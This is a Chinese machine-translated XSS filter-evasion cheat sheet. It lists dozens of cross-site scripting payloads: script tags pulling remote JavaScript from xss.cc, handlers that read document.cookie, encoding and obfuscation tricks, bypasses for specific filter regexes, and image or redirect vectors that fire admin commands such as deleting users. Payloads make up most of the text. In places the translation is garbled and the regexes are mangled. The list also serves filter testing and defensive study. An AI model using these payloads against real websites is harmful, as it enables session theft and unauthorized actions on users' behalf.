XSS攻击向量
无防护的XSS测试
<SCRIPT SRC=http://xss.cc/xss.js></SCRIPT>
XSS定位器(Polygot)
以下是“ polygot测试XSS有效负载”。该测试将在多个上下文中执行,包括html,脚本字符串,js和url。
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
使用JavaScript指令的图像XSS
(IE7.0在图像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令,但是以下内容也显示了在其他标记中也适用的原理:
<IMG SRC="javascript:alert('XSS');">
没有引号,也没有分号
<IMG SRC=javascript:alert('XSS')>
不区分大小写的XSS攻击
<IMG SRC=JaVaScRiPt:alert('XSS')>
HTML实体要使用此功能,必须使用分号:
<IMG SRC=javascript:alert("XSS")>
严重混淆
如果需要同时使用双引号和单引号,则可以使用重注释来封装JavaScript字符串-这也很有用,因为许多跨站点脚本过滤器都不知道注释:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
格式错误的A标签
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
IMG标签格式错误
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
从字符代码如果不允许任何形式的引号,则可以在JavaScript中eval()一个fromCharCode来创建所需的任何XSS向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
默认SRC标记可获取过去检查SRC域的过滤器这将绕过大多数SRC域过滤器。在事件方法中插入javascript还将适用于使用诸如Form,Iframe,Input,Embed等元素的任何HTML标记类型注入。它还将允许替换所有与标记类型相关的事件,例如onblur,onclick
<IMG SRC=# onmouseover="alert('xxs')">
保留默认的SRC标签为空
<IMG SRC= onmouseover="alert('xxs')">
通过完全省略默认SRC标签
<IMG onmouseover="alert('xxs')">
错误提示时
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
IMG onerror和JavaScript警报编码
<img src=x onerror="javascript:alert('XSS')">
十进制HTML字符引用在<IMG标签内使用javascript:指令的所有XSS示例在Gecko呈现引擎模式下的Firefox或Netscape 8.1+中均不起作用)。
<IMG SRC=javascript:alert('XSS')>
十进制HTML字符引用,不带分号这在尝试查找“&#XX;”的XSS中通常很有效,因为大多数人都不知道填充-最多7个数字字符。这对于使用$ tmp_string =〜s /.*\&#(\ d +);。* / $ 1 /;等字符串进行解码的人也很有用。这错误地假设终止HTML编码的字符串需要使用分号:
<IMG SRC=javascript:alert('XSS')>
十六进制HTML字符引用,不带分号这也是对上述字符串$ tmp_string =〜s /.*\&#(\ d +);。* / $ 1 /;的可行的XSS攻击。假设井号后面有一个数字字符-十六进制HTML字符则不正确)。
<IMG SRC=javascript:alert('XSS')>
嵌入式标签用于跨站脚本攻击:
<IMG SRC="jav ascript:alert('XSS');">
嵌入式编码标签使用这个来分解XSS:
<IMG SRC="jav	ascript:alert('XSS');">
嵌入式换行符分解XSS
<IMG SRC="jav
ascript:alert('XSS');">
嵌入式托架返回将分解XSS
<IMG SRC="jav
ascript:alert('XSS');">
Null分解JavaScript指令Null字符也可以用作XSS向量,但与上面不同,你需要使用Burp Proxy之类的东西直接注入它们,或者在URL字符串中使用%00,或者如果您想编写自己的注入工具,则可以使用vim(^ V ^ @将产生一个null)或以下程序将其生成为文本文件。好的,我再次撒谎,旧版本的Opera(在Windows上大约为7.11)容易受到另一个char 173(软hypen控制char)的攻击。但是null char%00更为有用,它帮助我绕过了某些真实世界的过滤器,并带有以下示例:
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
XSS图像中JavaScript之前的空格和元字符如果模式匹配未考虑javascript单词中的空格,这将非常有用:-正确,因为它不会呈现-并做出错误的假设,即引号和javascript之间不能有空格:关键词。实际情况是,您可以使用1-32的任何十进制字符:
<IMG SRC="  javascript:alert('XSS');">
非字母非数字XSSFirefox HTML解析器假定在HTML关键字之后非字母非数字无效,因此将其视为HTML标记后的空格或无效令牌。问题在于,某些XSS过滤器假定它们要查找的标签已被空格分隔。例如\<SCRIPT\\s
!= \<SCRIPT/XSS\\s
:
<SCRIPT/XSS SRC="http://xss.cc/xss.js"></SCRIPT>
但是,基于与上述相同的思想,使用Rnake模糊器对其进行了扩展。Gecko渲染引擎允许在事件处理程序和等号之间使用除字母,数字或封装字符(例如引号,尖括号等)之外的任何字符,从而更容易绕过跨站点脚本块。请注意,这也适用于字符,如下所示:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
IE和Gecko渲染引擎之间的行为略有不同,该行为仅允许标记和参数之间的斜线之间没有空格。如果系统不允许空格,这可能很有用。
<SCRIPT/SRC="http://xss.cc/xss.js"></SCRIPT>
多余的开放式括号由Franz Sedlmaier提交的XSS向量可以通过首先使用匹配的成对的开和关尖括号,然后通过对内部标签进行比较来击败某些工作正常的检测引擎,而不是像Boyer-Moore这样更有效的算法来寻找 尖括号和相关标签的完整字符串匹配(当然是去混淆后)。双斜杠注释掉末尾的多余括号,以阻止JavaScript错误:
<<SCRIPT>alert("XSS");//\<</SCRIPT>
没有结束脚本标签在Firefox和Netscape 8.1中,在Gecko渲染引擎模式下,您实际上不需要此跨站点脚本矢量的\> </ SCRIPT>部分。Firefox认为可以安全地关闭HTML标记并为您添加结束标记。考虑周全!与不影响Firefox的下一个不同,下一个不需要任何其他HTML。您可以根据需要添加引号,但通常不需要,尽管请注意,但我不知道一旦注入,HTML最终将变成什么样子:
<SCRIPT SRC=http://xss.cc/xss.js?< B >
脚本标签中的协议解析这个特殊的变体由ŁukaszPilorz提交,部分基于以下Ozh的协议解析绕行。如果在末尾添加</ SCRIPT>标记,则此跨站点脚本示例可在IE,IE呈现模式下的Netscape和Opera中运行。但是,这在空间有限的情况下尤其有用,当然,域越短越好。不管编码类型如何,“。j”都是有效的,因为浏览器在SCRIPT标记的上下文中知道它。
<SCRIPT SRC=//xss.cc/.j>
半开式HTML / JavaScript XSS向量与Firefox不同,IE渲染引擎不会向您的页面添加额外的数据,但可以在图像中使用javascript:指令。用作向量非常有用,因为它不需要尖括号。假设您在下面注入了任何HTML标记,您将在其中注入此跨站点脚本矢量。即使没有关闭“>”标签,它下面的标签也会将其关闭。注意:这确实弄乱了HTML,具体取决于它下面的HTML。它绕过以下NIDS正则表达式/((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/因为它不需要以“>”结尾。附带说明一下,这对我使用开放式<IFRAME标签而不是<IMG标签的现实世界XSS过滤器也有影响:
<IMG SRC="`<javascript:alert>`('XSS')"
双开角支架在向量的末尾使用开括号而不是闭括号会导致Netscape Gecko渲染中的不同行为。没有它,Firefox将可以运行,但Netscape不能:
<iframe src=http://xss.cc/scriptlet.html <
转义JavaScript转义编写应用程序以在JavaScript内输出一些用户信息时,如下所示:<SCRIPT> var a =“ $ ENV {QUERY \ _STRING}”; </ SCRIPT>,您想将自己的JavaScript注入其中,但是 服务器端应用程序转义某些引号,您可以通过转义转义符来避免这种情况。注入后,它会读取<SCRIPT> var a =“ \\\\”; alert('XSS'); //“; </ SCRIPT>,这最终使转义双引号转义并导致跨站点脚本 要发射的向量XSS定位器使用此方法。
\";alert('XSS');//
如果已将正确的JSON或Javascript转义应用于嵌入式数据而不是HTML编码,则另一种方法是完成脚本块并启动自己的脚本:
</script><script>alert('XSS');</script>
结束标题标签这是关闭<TITLE>标记的简单XSS向量,可以封装恶意跨站点脚本攻击:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
输入图像
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
BODY image
<BODY BACKGROUND="javascript:alert('XSS')">
IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
IMG lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
列表样式图像涉及为项目符号列表嵌入图像的深奥问题。由于JavaScript指令,这仅在IE呈现引擎中有效。不是一个特别有用的跨站点脚本编制载体:
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
图片中的VBscript
<IMG SRC='vbscript:msgbox("XSS")'>
Livescript(仅旧版本的Netscape)
<IMG SRC="livescript:[code]">
SVG对象标签
<svg/onload=alert('XSS')>
ECMAScript 6
Set.constructor`alert\x28document.domain\x29```
body标签方法不需要使用任何javascript变体:或<SCRIPT ...即可完成XSS攻击)。丹·克劳利(Dan Crowley)还指出,您可以在等号前放置一个空格(onload =!= onload =):
<BODY ONLOAD=alert('XSS')>
事件处理程序
它可以用于与上述类似的XSS攻击(在撰写本文时,这是网络上最全面的列表)。感谢Rene Ledosquet的HTML + TIME更新。
Dottoro Web参考还提供了JavaScript中的事件列表。
-
FSCommand()(从嵌入式Flash对象执行时,攻击者可以使用它)
-
onAbort()(当用户中止图像加载时)
-
onActivate()(将对象设置为活动元素时)
-
onAfterPrint()(在用户打印或预览打印作业后激活)
-
onAfterUpdate()(在更新源对象中的数据之后在数据对象上激活)
-
onBeforeActivate()(在将对象设置为活动元素之前触发)
-
onBeforeCopy()(攻击者在将选择内容复制到剪贴板之前立即执行攻击字符串-攻击者可以使用execCommand(“ Copy”)函数来执行此操作)
-
onBeforeCut()(攻击者在剪切选择之前立即执行攻击字符串)
-
onBeforeDeactivate()(从当前对象更改activeElement之后立即触发)
-
onBeforeEditFocus()(在包含在可编辑元素中的对象进入UI激活状态之前,或者在选择控件时选择可编辑容器对象时触发)
-
onBeforePaste()(需要通过使用execCommand(“ Paste”)函数来欺骗用户或强制将其粘贴)
-
onBeforePrint()(可能需要诱骗用户进行打印,否则攻击者可以使用print()或execCommand(“ Print”)函数)。
-
onBeforeUnload()(将需要诱使用户关闭浏览器-攻击者无法卸载窗口,除非它是从父窗口派生的)
-
onBeforeUpdate()(在更新源对象中的数据之前在数据对象上激活)
-
onBegin()(onbegin事件在元素的时间轴开始时立即触发)
-
onBlur()(在加载另一个弹出窗口且窗口失去焦点的情况下)
-
onBounce()(当选取框对象的行为属性设置为“ alternate”且选取框的内容到达窗口的一侧时触发)
-
onCellChange()(当数据提供者中的数据更改时触发)
-
onChange()(选择,文本或TEXTAREA字段失去焦点,并且其值已被修改)
-
onClick()(有人单击表单)
-
onContextMenu()(用户需要右键单击攻击区域)
-
onControlSelect()(在用户将要对对象进行控件选择时触发)
-
onCopy()(用户需要复制某些内容,或者可以使用execCommand(“ Copy”)命令来利用它)
-
onCut()(用户需要复制某些内容,或者可以使用execCommand(“ Cut”)命令加以利用)
-
onDataAvailable()(用户需要更改元素中的数据,否则攻击者可以执行相同的功能)
-
onDataSetChanged()(当数据源对象公开的数据集发生更改时触发)
-
onDataSetComplete()(触发表明所有数据都可从数据源对象获得)
-
onDblClick()(用户双击表单元素或链接)
-
onDeactivate()(当activeElement从当前对象更改为父文档中的另一个对象时触发)
-
onDrag()(要求用户拖动一个对象)
-
onDragEnd()(要求用户拖动一个对象)
-
onDragLeave()(要求用户将对象拖离有效位置)
-
onDragEnter()(要求用户将对象拖到有效位置)
-
onDragOver()(要求用户将对象拖到有效位置)
-
onDragDrop()(用户将对象(例如文件)拖放到浏览器窗口中)
-
onDragStart()(在用户开始拖动操作时发生)
-
onDrop()(用户将对象(例如文件)拖放到浏览器窗口中)
-
onEnd()(时间轴结束时会触发onEnd事件。
-
onError()(加载文档或图像会导致错误)
-
onErrorUpdate()(在更新数据源对象中的关联数据时发生错误时,在数据绑定对象上触发)
-
onFilterChange()(在视觉过滤器完成状态更改时触发)
-
onFinish()(字幕在循环结束时可以创建攻击程序)
-
onFocus()(攻击者在窗口获得焦点时执行攻击字符串)
-
onFocusIn()(当窗口获得焦点时,攻击者执行攻击字符串)
-
onFocusOut()(当窗口失去焦点时攻击者执行攻击字符串)
-
onHashChange()(在文档当前地址的片段标识符部分更改时触发)
-
onHelp()(当用户在窗口处于焦点位置时按下F1时,攻击者执行攻击字符串)
-
onInput()(通过用户界面更改元素的文本内容)
-
onKeyDown()(用户按下一个键)
-
onKeyPress()(用户按下或按住一个键)
-
onKeyUp()(用户释放密钥)
-
onLayoutComplete()(用户必须打印或打印预览)
-
onLoad()(攻击者在窗口加载后执行攻击字符串)
-
onLoseCapture()(可以由releaseCapture()方法利用)
-
onMediaComplete()(使用流媒体文件时,此事件可能在文件开始播放之前触发)
-
onMediaError()(用户在浏览器中打开一个包含媒体文件的页面,并在出现问题时触发该事件)
-
onMessage()(在文档收到消息时触发)
-
onMouseDown()(攻击者需要使用户单击图像)
-
onMouseEnter()(光标移至对象或区域上)
-
onMouseLeave()(攻击者需要使用户将鼠标悬停在图像或表格上,然后再次关闭)
-
onMouseMove()(攻击者需要使用户将鼠标悬停在图像或表格上)
-
onMouseOut()(攻击者需要使用户将鼠标悬停在图像或表格上,然后再次关闭)
-
onMouseOver()(光标移到对象或区域上)
-
onMouseUp()(攻击者需要使用户单击图像)
-
onMouseWheel()(攻击者将需要使用户使用其鼠标滚轮)
-
onMove()(用户或攻击者将移动页面)
-
onMoveEnd()(用户或攻击者将移动页面)
-
onMoveStart()(用户或攻击者将移动页面)
-
onOffline()(在浏览器以联机模式运行并且开始脱机工作时发生)
-
onOnline()(在浏览器以脱机模式工作并且开始在线工作时发生)
-
onOutOfSync()(中断时间线定义的元素播放媒体的能力)
-
onPaste()(用户需要粘贴,否则攻击者可以使用execCommand(“ Paste”)函数)
-
onPause()(onpause事件在时间轴暂停时在活动的每个元素上触发,包括body元素)
-
onPopState()(在用户浏览会话历史记录时触发)
-
onProgress()(攻击者会在加载Flash电影时使用它)
-
onPropertyChange()(用户或攻击者将需要更改元素属性)
-
onReadyStateChange()(用户或攻击者需要更改元素属性)
-
onRedo()(用户在撤消交易历史记录中前进)
-
onRepeat()(时间轴的每次重复触发一次事件,不包括第一个完整周期)
-
onReset()(用户或攻击者重置表单)
-
onResize()(用户将调整窗口大小;攻击者可以使用类似以下内容的方法自动初始化:<SCRIPT> self.resizeTo(500,400); </ SCRIPT>)
-
onResizeEnd()(用户将调整窗口大小;攻击者可以使用类似以下内容的方法自动初始化:<SCRIPT> self.resizeTo(500,400); </ SCRIPT>)
-
onResizeStart()(用户将调整窗口大小;攻击者可以使用类似以下内容的方法自动初始化:<SCRIPT> self.resizeTo(500,400); </ SCRIPT>)
-
onResume()(onresume事件在时间轴恢复时会在激活的每个元素上触发,包括body元素)
-
onReverse()(如果元素的repeatCount大于1,则每次时间线开始向后播放时都会触发此事件)
-
onRowsEnter()(用户或攻击者将需要更改数据源中的行)
-
onRowExit()(用户或攻击者需要更改数据源中的行)
-
onRowDelete()(用户或攻击者需要删除数据源中的一行)
-
onRowInserted()(用户或攻击者需要在数据源中插入一行)
-
onScroll()(用户需要滚动,否则攻击者可以使用scrollBy()函数)
-
onSeek()(当时间轴设置为在除前进方向以外的任何方向播放时,会触发onreverse事件)
-
onSelect()(用户需要选择一些文本-攻击者可以使用诸如window.document.execCommand(“ SelectAll”);之类的东西自动初始化)
-
onSelectionChange()(用户需要选择一些文本,攻击者可以使用诸如window.document.execCommand(“ SelectAll”);之类的方法自动初始化)
-
onSelectStart()(用户需要选择一些文本,攻击者可以使用诸如window.document.execCommand(“ SelectAll”);之类的方法自动初始化)
-
onStart()(在每个选取框循环的开头触发)
-
onStop()(用户需要按停止按钮或离开网页)
-
onStorage()(存储区已更改)
-
onSyncRestored()(用户根据触发的时间线中断元素播放媒体的能力)
-
onSubmit()(要求攻击者或用户提交表单)
-
onTimeError()(用户或攻击者将时间属性(例如dur)设置为无效值)
-
onTrackChange()(用户或攻击者更改播放列表中的曲目)
-
onUndo()(用户在撤消事务历史记录中向后退)
-
onUnload()(当用户单击任何链接或按“后退”按钮或攻击者强行单击时)
-
onURLFlip()(当由HTML + TIME(定时交互式多媒体扩展)媒体标记播放的高级流格式(ASF)文件处理嵌入在ASF文件中的脚本命令时,将触发此事件)
-
seekSegmentTime()(这是一种在元素的片段时间线上找到指定点并从该点开始播放的方法。该片段由时间轴的一个重复组成,包括使用AUTOREVERSE属性进行的反向播放。)
BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
& JavaScript includes
<BR SIZE="&{alert('XSS')}">
STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
远程样式表使用像远程样式表一样简单的内容,您可以包含XSS,因为可以使用嵌入式表达式重新定义样式参数。这仅在IE渲染引擎模式下的IE和Netscape 8.1+中有效。请注意,页面上没有任何内容可以显示包含了JavaScript。注意:在所有这些远程样式表示例中,它们都使用body标记,因此除非页面上除了vector本身之外还有其他内容,否则它将不起作用,因此您需要在页面上添加一个字母以 如果它是空白页,则使其工作:
<LINK REL="stylesheet" HREF="http://xss.cc/xss.css">
远程样式表第2部分这与上面的工作原理相同,但使用的是<STYLE>标记而不是<LINK>标记)。对该向量进行了细微的改动,以入侵Google桌面。附带说明一下,如果在向量关闭后紧跟着HTML,则可以删除</ STYLE>结束标记。如果您在跨站点脚本攻击中不能使用等号或斜杠,则该功能很有用,在现实世界中这种攻击至少发生过一次:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
远程样式表第3部分这仅适用于Opera 8.0(不再适用于9.x),但是相当棘手。根据RFC2616的设置,链接标头不是HTTP1.1规范的一部分,但是某些浏览器仍然允许它(如Firefox和Opera)。这里的技巧是,我要设置一个标头(与HTTP标头中的链接:<http://xss.rocks/xss.css>;REL = stylesheet)基本没有区别,并设置带有我的叉号的远程样式表 站点脚本向量正在运行JavaScript,FireFox不支持该JavaScript:
<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">
远程样式表第4部分这仅在Gecko渲染引擎中起作用,并且通过将XUL文件绑定到父页面来起作用。我认为具有讽刺意味的是,Netscape认为Gecko更安全,因此在大多数站点中都容易受到Gecko的攻击:
<STYLE>BODY{-moz-binding:url("http://xss.cc/xssmoz.xml#xss")}</STYLE>
具有用于XSS的JavaScript的STYLE标签该XSS有时会将IE发送到警报的无限循环中:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
使用注释来拆分表达式的STYLE属性由Roman Ivanov创建
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
IMG STYLE with expression
这确实是上述XSS向量的混合体,但确实显示了STYLE标签解析起来有多困难,像上面这样可以将IE发送到循环中:
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
STYLE标记(仅旧版本的Netscape)
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
使用背景图片的STYLE标签
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
使用背景的样式标签
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("<javascript:alert>('XSS')")}</STYLE>
具有STYLE属性的匿名HTMLIE渲染引擎模式下的IE6.0和Netscape 8.1+并不真正在乎您所构建的HTML标签是否存在,只要它以一个尖括号和一个字母开头:
<XSS STYLE="xss:expression(alert('XSS'))">
本地htc文件
这与上面的两个跨站点脚本编写矢量略有不同,因为它使用一个.htc文件,该文件必须与XSS矢量位于同一服务器上。该示例文件通过引入JavaScript并将其作为style属性的一部分运行来工作:
<XSS STYLE="behavior: url(xss.htc);">
US-ASCII编码US-ASCII编码(由Kurt Huwig找到)。它使用格式错误的7位而不是8位的ASCII编码。此XSS可能会绕过许多内容过滤器,但仅在主机以US-ASCII编码传输或您自行设置编码时有效 。这对于防止Web应用程序防火墙跨站点脚本规避比服务器端过滤器规避更为有用。Apache Tomcat是唯一已知的以US-ASCII编码传输的服务器。
¼script¾alert(¢XSS¢)¼/script¾
META
元刷新的奇怪之处在于它不会在标头中发送引荐来源网址-因此它可用于需要摆脱引荐网址的某些类型的攻击:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
META使用数据指令URL方案。很好,因为它还没有任何明显带有单词SCRIPT或JavaScript指令的东西,因为它利用了base64编码。请参阅RFC 2397了解更多详细信息,或者在此处或此处自行编码。如果您只想对原始HTML或JavaScript进行编码,因为它具有Base64编码方法,您也可以使用以下XSS计算器:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
带有其他URL参数的META如果目标网站试图查看URL是否包含<http://>;一开始,您可以使用以下技术来逃避它(Moritz Naumann提交):
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
框架如果允许使用iframe,那么还有许多其他XSS问题:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
基于IFRAME事件IFrame和大多数其他元素可以使用基于事件的混乱,如下所示……(提交人:David Cross)
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
FRAME
框架与iframe具有相同类型的XSS问题
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">
TD
就像上面一样,TD容易受到包含JavaScript XSS向量的Backgrounds的影响:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIVDIV背景图片
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
带未编码DIV标签的背景图像对此做了一些修改,以模糊化url参数。Renaud Lifchitz将原始漏洞发现为Hotmail中的漏洞:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
DIV背景图片加上额外的字符Rnaske构建了一个快速的XSS模糊器,以检测在开放括号之后但在安全站点模式下IE和Netscape 8.1中的JavaScript指令之前允许的任何错误字符。这些是十进制的,但是您可以包括十六进制并添加填充。(可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279):
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
DIV表达
在真实世界的跨站点脚本过滤器中使用冒号和“表达式”之间的换行符,此方法的一种变体很有效:
<DIV STYLE="width: expression(alert('XSS'));">
下层隐藏块仅在IE5.0和更高版本以及在IE呈现引擎模式下的Netscape 8.1中有效。一些网站认为注释块中的任何内容都是安全的,因此不需要删除,这允许我们使用跨站点脚本矢量。或者系统可以在某物周围添加注释标签,以使其变得无害。如我们所见,这可能无法完成任务:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
BASE标签在IE和Netscape 8.1中以安全模式工作。您需要// //注释掉下一个字符,这样就不会出现JavaScript错误,并且XSS代码会呈现。此外,这还取决于网站使用动态放置的图像(例如images / image.jpg)而不是完整路径这一事实。如果路径中包含前导斜杠(例如/images/image.jpg),则可以从此向量中删除一个斜杠(只要有两个斜杠开始注释,它将起作用):
<BASE HREF="javascript:alert('XSS');//">
OBJECT标签如果它们允许对象,您还可以注入病毒有效载荷来感染用户等,并使用APPLET标记进行感染。链接文件实际上是一个HTML文件,可以包含您的XSS:
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.cc/scriptlet.html"></OBJECT>
使用EMBED标签,您可以嵌入包含XSS的Flash电影单击此处获取演示:http://360kuaishi.com/xss.swf
<EMBED SRC="http://360kuaishi.com/xss.swf" AllowScriptAccess="always"></EMBED>
如果添加属性allowScriptAccess =“ never”和allownetworking =“ internal”,则可以减轻这种风险(感谢Jonathan Vanasco提供此信息)。
您可以嵌入可以包含XSS向量的SVG此示例仅在Firefox中有效,但比上面的Firefox中的矢量要好,因为它不需要用户打开或安装Flash。感谢nEUrOO为此。
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
在Flash中使用ActionScript可能会使XSS向量模糊
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
具有CDATA模糊处理的XML数据岛此XSS攻击仅在IE和IE呈现引擎模式下的Netscape 8.1中起作用)-由Sec Consult在审核Yahoo时发现的向量:
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
使用XML数据岛生成的具有嵌入式JavaScript的本地托管XML这与上面相同,但是引用了包含跨站点脚本编制载体的本地托管(必须在同一服务器上)XML文件。您可以在此处查看结果:
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
XML中的HTML + TIME这就是Gray Magic如何入侵Hotmail和Yahoo!。这仅适用于IE呈现引擎模式下的Internet Explorer和Netscape 8.1,并且请记住,您必须介于HTML和BODY标记之间才能起作用:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
假设您只能容纳几个字符,并且针对.js进行过滤
您可以将JavaScript文件重命名为XSS矢量图像:
<SCRIPT SRC="http://xss.cc/xss.jpg"></SCRIPT>
SSI(包括服务器端)这要求将SSI安装在服务器上才能使用此XSS向量。我可能不需要提及这一点,但是如果你可以在服务器上运行命令,那么毫无疑问,这将是更为严重的问题:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.cc/xss.js></SCRIPT>'"-->
PHP需要在服务器上安装PHP才能使用此XSS向量。同样,如果您可以像这样远程运行任何脚本,则可能存在更多可怕的问题:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
IMG嵌入式命令当注入该网页的网页(如网页板)位于密码保护之后并且该密码保护可与同一域中的其他命令一起使用时,此功能将起作用。这可用于删除用户,添加用户(如果访问该页面的用户是管理员),在其他位置发送凭据等...。这是较少使用但更有用的XSS向量之一:
<IMG SRC="http://www.360kuaishi.com/somecommand.php?somevariables=maliciouscode">
IMG嵌入式命令第二部分这更令人恐惧,因为除了它不是托管在您自己的域中之外,绝对没有其他标识符使它看起来可疑。该向量使用302或304(其他方法也可以)将图像重定向回命令。因此,正常的<IMG SRC =“ httx://360kuaishi.com/a.jpg”>实际上可能是攻击者,他们以查看图像链接的用户身份运行命令。这是.htaccess(在Apache下)这一行来完成矢量(感谢Timo的帮助):
Redirect 302 /a.jpg http://360kuaishi.com/admin.asp&deleteuser
Cookie操作诚然,这是相当晦涩的,但是我看到了一些允许<META的示例,您可以使用它覆盖Cookie。在网站的其他示例中,不是从数据库中获取用户名,而是将其存储在Cookie内,仅向访问该页面的用户显示。结合这两种情况,您可以修改受害者的Cookie,该Cookie会以JavaScript的形式显示给他们(您也可以使用它来注销用户或更改其用户状态,让他们以您的身份登录,等等……):
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
UTF-7编码如果XSS所在的页面没有提供页面字符集标头,或者使用以下设置可以利用任何设置为UTF-7编码的浏览器(感谢Roman Ivanov)。单击此处获取示例(如果将用户的浏览器设置为自动检测并且在IE呈现引擎模式下的Internet Explorer和Netscape 8.1中,页面上没有覆盖的内容类型,则不需要字符集语句)。在不更改编码类型的情况下,这在任何现代浏览器中均不起作用,这就是为什么将其标记为完全不受支持的原因。Watchfire在Google的自定义404脚本中发现了此漏洞:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
XSS使用HTML报价封装这已在IE中进行了测试,您的飞行里程可能会有所不同。要在允许<SCRIPT>但不允许<SCRIPT SRC ...的网站上通过正则表达式过滤器/ \ <script \ [^ \> \] + src / i执行XSS:
<SCRIPT a=">" SRC="httx://xss.cc/xss.js"></SCRIPT>
用于在允许<SCRIPT>但不允许\ <script src ...通过正则表达式过滤器/ \ <script((\\ s + \\ w +(\\ s \ * = \\ s \ *(?:“(。)\ *?” |'(。)\ *?'| \ [^'“ \> \\ s \] +))?)+ \\ s \ * | \\ s \ *)src / i(这很重要,因为我在野外见过此正则表达式):
<SCRIPT =">" SRC="httx://xss.cc/xss.js"></SCRIPT>
另一个XSS逃避相同的过滤器,/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\* ?'| \ [^'“ \> \\ s \] +))?)+ \\ s \ * | \\ s \ *)src / i:
<SCRIPT a=">" '' SRC="httx://xss.cc/xss.js"></SCRIPT>
另一个XSS可以逃避相同的过滤器,/ \ <script((\\ s + \\ w +(\\ s \ * = \\ s \ *(?:“(。)\ *?” |'(。)\ *?'| \ [^'“ \> \\ s \] +))?)+ \\ s \ * | \\ s \ *)src / i。我知道我说我不想讨论缓解问题 技术,但是如果您仍然想允许<SCRIPT>标签而不是远程脚本,那么我看到的唯一用于此XSS示例的东西就是状态机(当然,如果允许<SCRIPT>,还有其他方法可以解决此问题) 标签):
<SCRIPT "a='>'" SRC="httx://xss.cc/xss.js"></SCRIPT>
最后一个XSS攻击可以回避,/\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\* ?'| \ [^'“ \> \\ s \] +))?)+ \\ s \ * | \\ s \ *)src / i(带有重音符号(同样,在Firefox中不起作用)):
<SCRIPT a=`>` SRC="httx://xss.cc/xss.js"></SCRIPT>
